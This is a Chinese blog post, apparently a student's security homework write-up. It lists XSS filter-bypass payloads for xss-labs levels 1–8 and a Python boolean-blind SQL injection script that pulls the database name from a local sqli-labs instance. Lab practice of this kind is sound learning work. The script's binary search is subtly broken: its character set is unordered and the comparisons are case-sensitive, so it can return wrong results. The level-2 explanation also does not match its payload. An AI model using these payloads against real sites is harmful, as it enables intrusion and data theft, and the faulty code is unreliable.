网络初级安全第二次作业

发布于:2025-07-18 ⋅ 阅读:(17) ⋅ 点赞:(0)

xss-labs 1到8关

第一关

我们发现,当我们更改name等于不同的值时,有不同的返回结果,因此在这里可能有xss漏洞

然后直接进行测试,在name后面加入xss攻击语句

​<script>alert(1)</script>

第二关

观察到input标签里面的value元素可以尝试突破,逃出引号后,可以使用事件来闭合后面的引号,这里距离onclick事件,当点击输入框后,执行这个弹窗

"><script>alert(1)</script

第三关

1' onclick='alert(1)

第四关

用"闭合后插入

1" onclick="alert(1)

第五关

查看源码发现把<script>转换成了<scr_ipt>,把on转成了o_n,这俩不能用了,换个标签

1'"> <a href="javascript:alert(1)">"'test</a>

第六关

直接使用大小写绕过

1'"> <a HRef="javaSCRipt:alert(1)">"'test</a>

第七关

1'"> <a hrhrefef="javascrscriptipt:alert(1)">"'test</a>

 双写了href和script

第八关

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

直接编码javascript:alert(1)为html实体编码

python实现自动化布尔自注的代码进行优化(二分查找)

import requests
 
# 目标URL
url = "http://127.0.0.1/sqli/Less-8/index.php"
 
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-. "
 
# 推断数据库名的长度
def get_database_length():
    length = 0
    while True:
        length += 1
        payload = f"1' AND (SELECT length(database()) = {length}) -- "
        response = requests.get(url, params={"id": payload})
        if "You are in..........." in response.text:
            return length
        if length > 50:  # 防止无限循环
            break
    return 0
 
# 使用二分查找推断数据库名
def get_database_name(length):
    db_name = ""
    for i in range(1, length + 1):
        left, right = 0, len(charset) - 1
        while left <= right:
            mid = (left + right) // 2
            char = charset[mid]
            payload = f"1' AND (SELECT substring(database(), {i}, 1) >= '{char}') -- "
            response = requests.get(url, params={"id": payload})
            if "You are in" in response.text:
                left = mid + 1
            else:
                right = mid - 1
        db_name += charset[right]
    return db_name
 
# 主函数
if __name__ == "__main__":
    length = get_database_length()
    if length > 0:
        print(f"Database length: {length}")
        db_name = get_database_name(length)
        print(f"Database name: {db_name}")
    else:
        print("Failed to determine database length.")


网站公告

今日签到

点亮在社区的每一天
去签到